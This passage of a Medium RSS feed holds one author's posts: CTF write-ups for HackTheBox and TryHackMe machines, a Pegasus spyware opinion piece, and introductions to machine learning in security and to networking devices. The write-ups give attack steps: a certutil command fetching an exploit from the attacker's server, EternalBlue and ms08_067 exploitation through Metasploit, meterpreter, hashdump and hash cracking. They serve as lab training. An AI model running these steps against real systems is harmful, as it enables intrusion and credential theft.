exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*e9tFV0hEgMnLi6L8RxgAVQ.png" /></figure><p>If you don’t have mingw-w64 install it. And use it to compile the c program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*fspx-ac9OgvP3fLNaopF5g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*0HHMKK1aQAg9Cxg2eAAbdw.png" /></figure><p>Now set up the python server on the kali machine wait for seeing the visible web requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/329/1*aOiT_B1Uwltj3GXihIkY7w.png" /></figure><p>Now on the windows machine download the 40564.exe file using Powershell. (You can also do it using another command: certutil -urlcache -f <a href="http://10.10.14.15/40564.exe">http://10.10.14.15/40564.exe</a> c:\users) It may work or may not work because nowadays it is being caught by Windows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4aO7Gx-CREzG1FQU6uvcbg.png" /></figure><p>As soon as you will download the file in Windows, you can see the request proof on your kali machine running python server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*tnJhkTy9S2v9oy4XsI5ipQ.png" /></figure><p>Now, on the Windows machine, cd to Downloads and see the 40564.exe there and run it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*r4A8s-uUPD0CDDBcyfFUfA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/309/1*FRGIYldGscG8krQgRELUww.png" /></figure><p>Now check for the results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/279/1*QhZt7UxY4RnLFHQiGsYqbw.png" /></figure><p>And the exploit is successful we have escalated the privileges.</p><p>Now cd to \Users\Administrator\Desktop to get the root flag, and cd to \USers\babis\Desktop to get the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*PV9c_tl26Yu0CvsRLW152w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*0SF2wT_QyqOehVUHpzbGHQ.png" /></figure><p>Submit both the flags. And you have successfully pwned this awesome machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*BPXn3hNC6T9rHRm68u-o7w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f7f48557434b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pegasus Controversy]]></title>
            <link>https://medium.com/cyversity/pegasus-controversy-2516fc560e43?source=rss-be27ed19e174------2</link>
            <guid isPermaLink="false">https://medium.com/p/2516fc560e43</guid>
            <category><![CDATA[article-writing]]></category>
            <category><![CDATA[pegasus]]></category>
            <category><![CDATA[spyware]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cyversity]]></category>
            <dc:creator><![CDATA[Saloni Gupta]]></dc:creator>
            <pubDate>Fri, 23 Jul 2021 15:22:02 GMT</pubDate>
            <atom:updated>2021-07-23T15:26:17.181Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*5CO98Sfoi6svd2k2dp0jfA.png" /></figure><p>Recently Indian government faced yet another privacy breach controversy. The allegations are that the government is tracking your search history, messaging history, and call history over mobile phones using the Pegasus spyware.</p><p>Pegasus isn’t a normal computer virus where you need to click on some link to activate it. It can be inserted into your phones with i-time, face chat, or even video missed calls. Later it can control your camera and mic to spy on your activities. Until now it’s found that the attack is possible only on iPhones because android does not log this much information. Pegasus is a very costly software. It is not a one-time investment that you can copy on multiple devices. It charges you $65000 per device excluding the installation fees. Recently, 50000 numbers in the world were suspected to be infected by Pegasus, out of which 300 are Indians, according to an investigation by Amnesty international and Forbidden stories.</p><p>Pegasus spyware has been developed by an Israeli cybersecurity company, NSO, which only sells the Pegasus product to governments worldwide to track down terrorists. But, the problem arises when some governments used this spyware to track journalists, activists, and opposition politicians.</p><p>It’s a big controversy in India because among 300 Indians there are some big politicians on the target list. But the investigation reports also claimed that a phone number in the target list does not reveal that the phone is infected with Pegasus because the forensic testing has been done only on 67 numbers out of 50000, and only 23 are found infected.</p><p>But this limit is a safe answer, even if there is one Pegasus attack victim, then also it is equally dangerous because then it proves that everyone is vulnerable.</p><p>Although there are some other shortcomings in the records found which makes it vague to blame the government right at the moment.</p><p>Some unclear ideas and assumptions do not go with the controversy. The first thing which is not clear is, whether the list found is the target list of Pegasus or not. And even if it is then what’s the credibility. The second thing is whether India has ever bought Pegasus because the Indian government has never accepted the buying, unlike the Mexican government who owned Pegasus and accepted that. And after all that, there is a much bigger possibility that other nations can target Indians. China and the US are well known for their surveillance and it is not old when India banned all the Chinese apps because they were suspected to spy on Indians.</p><p>Hence, right now it’s just an allegation and nothing has been proved yet.</p><p>So, in my opinion, people should approach the judiciary for an official investigation rather than starting the blame game. It is high time that India works on Data Protection Act. If there are reasons other than national security and terrorism tracking then there is surely a problem and the government is at fault. But right now, it’s just an accusation.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2516fc560e43" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyversity/pegasus-controversy-2516fc560e43">Pegasus Controversy</a> was originally published in <a href="https://medium.com/cyversity">Cyversity</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blue: Try Hack Me write-up]]></title>
            <link>https://medium.com/@iguptasaloni/blue-try-to-hack-me-write-up-6b283bf4e95f?source=rss-be27ed19e174------2</link>
            <guid isPermaLink="false">https://medium.com/p/6b283bf4e95f</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ms17-010]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[eternalblue]]></category>
            <dc:creator><![CDATA[Saloni Gupta]]></dc:creator>
            <pubDate>Wed, 21 Jul 2021 06:22:45 GMT</pubDate>
            <atom:updated>2022-03-24T08:53:12.033Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/502/0*RFQCpB8ZT8GXN20n.png" /></figure><p>Hello, inquisitive minds,</p><p>The room you are going to solve is a Try Hack Me CTF, exploiting a windows machine using the ms17–010 exploit (also known as Eternal Blue). It exploits a vulnerability in the Microsoft implementation of SMB.</p><p>Let’s start and machine and get connected to the VPN server.</p><p>Now, scan the machine with Nmap. Remember the ping won’t work with this particular machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*p2aPyuZvf0hH8e6G8PfcfQ.png" /></figure><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*kp1mSMnpskRQaZXLesmtvQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*o3NrHaBOhcK2vxUW0oBRaQ.png" /><figcaption>important output</figcaption></figure><p>So it gives a high-rated vulnerability for our machine. Now, go and open Metasploit using the msfconsole command. And search for ms17–010.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*DYsX0Bun12lZNSWHMID-UA.png" /></figure><p>Yes, we found the required exploit. Now use it: command — use 2</p><p>And set the RHOSTS to victim IP and set payload as given :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*e_ZmUL_gs3YmJlgDvA8IRw.png" /></figure><p>Now command — exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*2Lo74CS6D2CbYOZFd7JnpA.png" /><figcaption>w</figcaption></figure><p>We have a WIN and an open shell. Now background this shell (using CTRL+z). Because we can do better than this by obtaining a meterpreter.</p><p>Command — use shell_to_meterpreter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*Xp-c4L6bCJqqd9tog-VLpw.png" /></figure><p>Now for changing the session. Command — options. And we see that we need to change the session.</p><p>To list sessions, command —sessions -l</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*v58tt7-_ttBV3-_z.png" /></figure><p>Command — sessions session_number (in this case session_number=2)</p><p>Now that we have meterpreter, command — getsystem. This will show you that you are on the Windows machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*cRr-UZox7HydOmeMSMgZNw.png" /></figure><p>Now command — ps, to list out the currently running processes. And migrate to the last process running id at NT AUTHORITY\SYSTEM. For me, it is PID 3036 (It can be different for you).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*LDhazsFwtuSQRmnPFubPtQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/330/1*HN3ZK5Hs7oyTxFRaWl7D7w.png" /></figure><p>Now command — hashdump to list out the passwords on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*Iym7Wn0MdUggQtKXFZ9xSQ.png" /></figure><p>Copy the hash to a text file. And we will use hashcat to break the password. You can use online tools too. I am using hashcat in Windows and not the VM due to performance issues (it is advisable), though your cat uses hashcat in your VM as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*Q_ateLDyJJRPs9J0YR3KAw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*FeA-7cTP7CTlTfe8EaIu-A.png" /></figure><p>Hash is cracked and it is an NTLM. It was also evident from the mode number 1000 given to us in the complete hash sequence.</p><p>Finally, for finding the flags, open a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*fXuVyeNBXQ5o7X4hJufoMg.png" /></figure><p>cd to c:\ and command — dir</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*GwJu1HTh3q87jnE1kbF-wQ.png" /></figure><p>Read the flag1.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/284/1*XAI_aBOqNYTbesOCdi8rEg.png" /></figure><p>cd to \Windows\System32\config . Read flag2.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/337/1*zBTDen-voC0SRmsDEAxjbg.png" /></figure><p>cd to \Users\Jon\Documents . Read flag3.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*L2kC0utR30kEU0yqiYARhA.png" /></figure><p>And that’s all. You have completed the challenge.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6b283bf4e95f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Legacy Writeup: HackTheBox]]></title>
            <link>https://medium.com/@iguptasaloni/legacy-writeup-hackthebox-d2f230327047?source=rss-be27ed19e174------2</link>
            <guid isPermaLink="false">https://medium.com/p/d2f230327047</guid>
            <category><![CDATA[legacy]]></category>
            <category><![CDATA[smb]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Saloni Gupta]]></dc:creator>
            <pubDate>Mon, 19 Jul 2021 08:25:04 GMT</pubDate>
            <atom:updated>2021-07-19T08:40:42.660Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/290/1*otHZGMgg0JIHYUk9VR7VLQ.png" /></figure><p>So this machine called legacy is one of the easiest machines of HackTheBox and definitely you can start your HackTheBox journey with it. It has Windows operating system.</p><p>So let’s begin.</p><p>After connecting to the VPN, do the honors by simply scanning the machine using Nmap to detect the open services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*E4JJOORKUTtj-svlaRuKwA.png" /></figure><p>Clearly, we have ports 139 and 445 open, which means smb service ports.</p><p>Start with this knowledge and open smbclient.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*cwhOQOIjpFzg7BxVujEEmQ.png" /></figure><p>We got nothing using smbclient, so let’s shift to Metasploit and search for smb_version, select the matched module look for options, and set the RHOST to machine IP and thread to 4. Command exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*T1nA0RVfCEjUS7arO1Nrhg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vR0tdf5iwvN0dtUxi1xxQQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/290/1*800Oa0RrsVhFyK7LfNAXww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*r7OxNO7cVOauzS-7EUhtyQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*vLwaQuCBc_AoQQIj0S1GkA.png" /></figure><p>And here, after exploiting we found nothing about SMB, and it seems a dead-end for SMB here. Although we can continue with the found info: which is Windows XP Service Pack 3.</p><p>Go to google and search: smb Windows XP SP3 exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*kIicseD-zURk8RBwYs8n6g.png" /></figure><p>Go to the link and now we will exploit using the instructions given.</p><p>Go back to the Metasploit and follow the steps:</p><figure><img alt="https://www.rapid7.com/db/modules/exploit/windows/smb/ms08_067_netapi/" src="https://cdn-images-1.medium.com/max/606/1*7y7eHnyKI95nr-K39jemSA.png" /><figcaption><a href="https://www.rapid7.com/db/modules/exploit/windows/smb/ms08_067_netapi/">https://www.rapid7.com/db/modules/exploit/windows/smb/ms08_067_netapi/</a></figcaption></figure><p>NOTE: In setting the options section — set target to Windows XP SP3 English (NX), RHOST to machine IP, and LHOST to tun0.</p><p>And finally, you have a reverse shell. check this by commands like getuid and sysinfo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*Sw58tbvlgzXOKdKDnJZrfw.png" /></figure><p>Now create a shell for navigating the Windows machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*OPu8vXoRWmfxgBDq-0POzQ.png" /></figure><p>Now move to C:\ and look for directories and cd to “Documents and settings”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*VESOSZ3V77lBeyyLoH-XmQ.png" /></figure><p>Now navigate to john and then Desktop, and finally read the user.txt file to get your user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*QXLC1VPf0M7LedfLvvlTnQ.png" /></figure><p>Similarly, navigate to Administrator and then Desktop, and read the root.txt file to get the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*RmhdRpM7FKvnZc7kOeIggw.png" /></figure><p>And that’s all. Submit both the flags and get this message popped up. BOOM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*7ujl8Oao_9FoCCRIedh0KQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d2f230327047" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Use of Machine Learning to Protect Sensitive Data from Threats]]></title>
            <link>https://medium.com/cyversity/use-of-machine-learning-to-protect-sensitive-data-from-threats-5454e72669c5?source=rss-be27ed19e174------2</link>
            <guid isPermaLink="false">https://medium.com/p/5454e72669c5</guid>
            <category><![CDATA[data-security]]></category>
            <category><![CDATA[cybersecurity-awareness]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[machine-learning]]></category>
            <dc:creator><![CDATA[Saloni Gupta]]></dc:creator>
            <pubDate>Tue, 16 Feb 2021 05:14:21 GMT</pubDate>
            <atom:updated>2021-02-16T05:14:21.471Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9SWgEjGvyCpdgXcNEBTGPw.png" /></figure><p>Hey, inquiring minds!!!</p><p>I was reading something last night and was surprised to know about how Machine Learning is currently influencing Cyber Security. So here are my findings in a nutshell for you all…;)</p><p>At the simplest level, Machine Learning is the ability for computers to learn and react without being explicitly programmed. You can better understand this with the example of your YouTube offering new videos based on your search and view history.</p><p>So, what are the machine learning applications in information security?</p><ol><li><strong>Machine learning algorithms are helping businesses to detect malicious activity faster and stop attacks before they get started.</strong> Yes, they can automate the tasks that were carried out last time under Security Specialists.</li><li>Machine learning is already going mainstream on mobile devices, evident voice-based controls such as Siri for Apple, Cortana for Microsoft, and Alexa for Amazon. But now we have an application of it for security too. <strong>Google is analyzing threats against mobile endpoints using ML.</strong></li><li><strong>Machine Learning is helping human analysts with enhancing all aspects of their job</strong>, let it be detecting malicious attacks, analyzing the network, endpoint protection, or vulnerability assessment. Research showed that the attack detection rate rose to 85 percent and in a much-organized manner.</li><li><strong>The biggest benefit of Machine Learning is to automate repetitive tasks so that humans can be free to work on more productive works like creating updates for future security.</strong> In some companies AI tools are used to more efficiently allocate human security resources, triaging threats so that workers could focus on the most critical attacks.</li><li><strong>Machine Learning can help close zero-day vulnerabilities and other threats that target largely unsecured IoT devices. </strong>In the future<strong> </strong>organizations could potentially close vulnerabilities and stop patch exploits before they result in a data breach.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/0*Kl-FLBCjjv4hlRky" /><figcaption>Virtual Analyst reducing Human Analyst’s effort and working in a much-organized way</figcaption></figure><h4><strong>Conclusion</strong></h4><p>Though this transformation won’t happen overnight, machine learning is already emerging. It is still in its early phase of empowering cyber defense where we mostly see the obvious use cases of identifying patterns of malicious activities whether on the endpoint, network, fraud, or at the SIEM.</p><p>I believe we will see more uses of Machine Learning in the area of cyber defense and user behaviors, in near future.</p><p>Hope that was helpful!</p><p>PS: Apologies if I missed out on something, and yeah if you know other uses that I might be missing here don’t hesitate to comment…;)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5454e72669c5" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyversity/use-of-machine-learning-to-protect-sensitive-data-from-threats-5454e72669c5">Use of Machine Learning to Protect Sensitive Data from Threats</a> was originally published in <a href="https://medium.com/cyversity">Cyversity</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Basic Networking Devices]]></title>
            <link>https://medium.com/cyversity/basic-networking-devices-8de5caca8630?source=rss-be27ed19e174------2</link>
            <guid isPermaLink="false">https://medium.com/p/8de5caca8630</guid>
            <dc:creator><![CDATA[Saloni Gupta]]></dc:creator>
            <pubDate>Sun, 07 Feb 2021 14:44:58 GMT</pubDate>
            <atom:updated>2021-02-07T14:49:33.720Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*3LQ-wMqqXrKjTkPmh7xyKw.png" /></figure><p>Hey, inquiring minds!!!</p><p>I am a cybersecurity learner who knows the importance of learning networks. But before that, the basal is the device prominent for establishing networks. Every technician needs to deal with these devices in their day to day lives. So let’s get started.. ;)</p><p><strong>1.Cables</strong></p><p>Cables connect different devices to each other, allowing data to be transmitted over them.</p><p>Most of the cables used can be divided into two categories :</p><ol><li><strong>Copper Cable-</strong> They are most common and used as multiple copper wire pairs inside a plastic insulator. They form point to point connection between two devices. The most copper cables used in networking are Cat5, Cat5e, and Cat6. Cat5 is relatively older and outdated.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SJzEU68K5AJi1i__uM9dCw.png" /></figure><ol><li><strong>Fiber Cables</strong>- Aka Fiber Optical cables. They contain individual optical fibers, which are tiny tubes made out of glass about the width of a human hair. They can transport beams of lights unlike, copper wires which transport pulses of electricity(1’s and 0&#39;s). Fiber cables transfer data much quicker at longer distances without data loss but they are much more expensive.</li></ol><p><strong>2. Hubs</strong></p><p>It is a physical layer device that allows connections from many computers at once. It connects devices in LAN. Let’s understand it’s working with an example: One device in the network is sending a message to every other device at the same time and the other devices will check whether that message is for them or neglect that message. It creates a lot of noise in-network(Collision Domain) and is not efficient.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A5AVw_ye6FpabAfZvVsp8A.png" /></figure><p><strong>3. Switches</strong></p><p>It is more sophisticated than Hubs, aka Switching Hub. It also connects devices in LAN. It is a Data-Link device. Let’s understand using an example: In a network one device is sending a message through ethernet protocol (via switches), the ethernet intelligently identifies the intended device and sends the message particularly to that device only, and not to every device in the network like hubs. This eliminates the collision domain in a network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9dkUus2QJ0TQ0Q5V77VTbg.png" /></figure><p><strong>4. Routers</strong></p><p>It is a device used to transfer data between independent networks. It operates at Layer 3, i.e. Network Layer. Routers use IP data to send messages. The router routes out the network traffic at the ISP between the communication devices. There is another core ISP router, which forwards traffic to several other routers using BGP (Border Gateway Protocol). So when you load a webpage the traffic between your machine and server could have traveled dozens of routers to reach the destination. Routers are the guide to take traffic to the right place.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oFkg5VwQl_qYayMZ2J5XCQ.png" /></figure><p><strong>5. Servers and Clients</strong></p><p>The server is that node in a network that provides data to the node requesting it. The node receiving the data is referred to as a client. We can even have a server and client in the same node. For example: running the WAMP server for PHP, is the server and client in the browser at the same time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ikFtaTKMpdadOS0Bbf2jaQ.png" /></figure><p>So now that you are having some basic knowledge of networking devices. You can begin with higher concepts. Hope that was helpful… ;)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8de5caca8630" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyversity/basic-networking-devices-8de5caca8630">Basic Networking Devices</a> was originally published in <a href="https://medium.com/cyversity">Cyversity</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>